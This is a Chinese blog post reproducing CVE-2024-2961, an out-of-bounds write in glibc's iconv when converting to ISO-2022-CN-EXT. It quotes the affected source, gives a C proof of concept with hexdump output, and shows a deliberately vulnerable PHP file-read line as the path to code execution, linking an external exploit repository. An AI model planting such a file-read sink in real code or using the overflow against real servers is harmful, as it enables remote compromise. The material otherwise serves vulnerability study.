CVE-2024-2961 glibc API Bug 利用

作者: print("") 分类: 漏洞复现 发布时间: 2024-05-28 17:02

iconv()API

当PHP调用iconv的时候会调用Glibc 的APi 这个api的如下:

iconv_t iconv_open(const char *tocode, const char *fromcode);
然后,您可以使用iconv()将输入缓冲区转换为输出缓冲区inbuf中的新字符集。outbuf

size_t iconv(iconv_t cd,            
char **restrict inbuf, size_t *restrict inbytesleft,            
char **restrict outbuf, size_t *restrict outbytesleft);
如果输出缓冲区不够大,iconv()将返回一个错误来
并且您将能够重新分配outbuf并通过再次调用继续转换iconv()。
该函数保证它永远不会从 读取超过inbytesleft字节inbuf,也不会向 写入超过outbytesleft字节outbuf

转换为 ISO-2022-CN-EXT 时发生越界写入

碰巧的是,在将数据转换为ISO-2022-CN-EXT字符集时,
iconv可能无法在写入之前检查输出缓冲区中是否有足够的空间。
实际上,ISO-2022-CN-EXT它实际上是一个字符集的集合:当它需要对一个字符进行编码时,它会选择适当的字符集,并发出一个转义序列来指示解码器需要切换到这样的字符集。
下面的代码是负责发出此类转义序列的部分。
它由 3 个if块组成,每个块将不同的转义序列写入outbuf(指向outptr)。
如果你看第一个([1]),你会看到它以另一个块为前缀,
if()该块检查输出缓冲区是否足够大以容纳 4 个字符。
其他两个if()([2][3])没有因此,转义序列可能会越界写入。

// iconvdata/iso-2022-cn-ext.c

/* See whether we have to emit an escape sequence.  */
if (set != used)
{
    /* First see whether we announced that we use this
        character set.  */
    if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]
    {
        const char *escseq;

        if (outptr + 4 > outend) // <-------------------- BOUND CHECK
        {
            result = __GCONV_FULL_OUTPUT;
            break;
        }

        assert(used >= 1 && used <= 4);
        escseq = ")A\0\0)G)E" + (used - 1) * 2;
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;

        ann = (ann & ~SO_ann) | (used << 8);
    }
    else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]
    {
        const char *escseq;

        // <-------------------- NO BOUND CHECK

        assert(used == CNS11643_2_set); /* XXX */
        escseq = "*H";
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;

        ann = (ann & ~SS2_ann) | (used << 8);
    }
    else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]
    {
        const char *escseq;

        // <-------------------- NO BOUND CHECK

        assert((used >> 5) >= 3 && (used >> 5) <= 7);
        escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;
        ann = (ann & ~SS3_ann) | (used << 8);
    }
}

为了触发该漏洞,我们需要iconv()在输出缓冲区结束之前强制发出转义序列。为此,我们可以使用奇异字符,例如:劄、䂚或。结果是 1 到 3 个字节的溢出,具有以下值:峛湿
  • $*H[24 2A 48]
  • $+I[24 2B 49]
  • $+J[24 2B 4A]
  • $+K[24 2B 4B]
  • $+L[24 2B 4C]
  • $+M[24 2B 4D]
一个简单的POC演示了这个错误

/*
$ gcc -o poc ./poc.c && ./poc
*/
...

void hexdump(void *ptr, int buflen)
{
    ...
}

void main()
{
    iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");

    char input[0x10] = "AAAAA劄";
    char output[0x10] = {0};

    char *pinput = input;
    char *poutput = output;

    // Same size for input and output buffer: 8 bytes
    size_t sinput = strlen(input);
    size_t soutput = sinput;

    iconv(cd, &pinput, &sinput, &poutput, &soutput);

    printf("Remaining bytes (should be > 0): %zd\n", soutput);

    hexdump(output, 0x10);
}

执行 出现后面的垃圾字符说明漏洞存在。

$ gcc -o poc ./poc.c && ./poc
Remaining bytes (should be  0): -1
000000: 41 41 41 41  41 1b 24 2a  48 00 00 00  00 00 00 00    AAAA A.$* H... ....

PHP 中的利用ICONV 代码执行

php 可以调用到iconv 就是文件读取的时候。例如file_get_contents

<?php
echo file_get_contents($_POST["file"])
?>

Pyaload :https://github.com/weaweawe01/cnext-exploits

Glibc 的系统列表 大多都系统都是支持的。如果没有更新过glibc 应该都是可以利用的

原文:

https://www.ambionics.io/blog/iconv-cve-2024-2961-p1

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

您的电子邮箱地址不会被公开。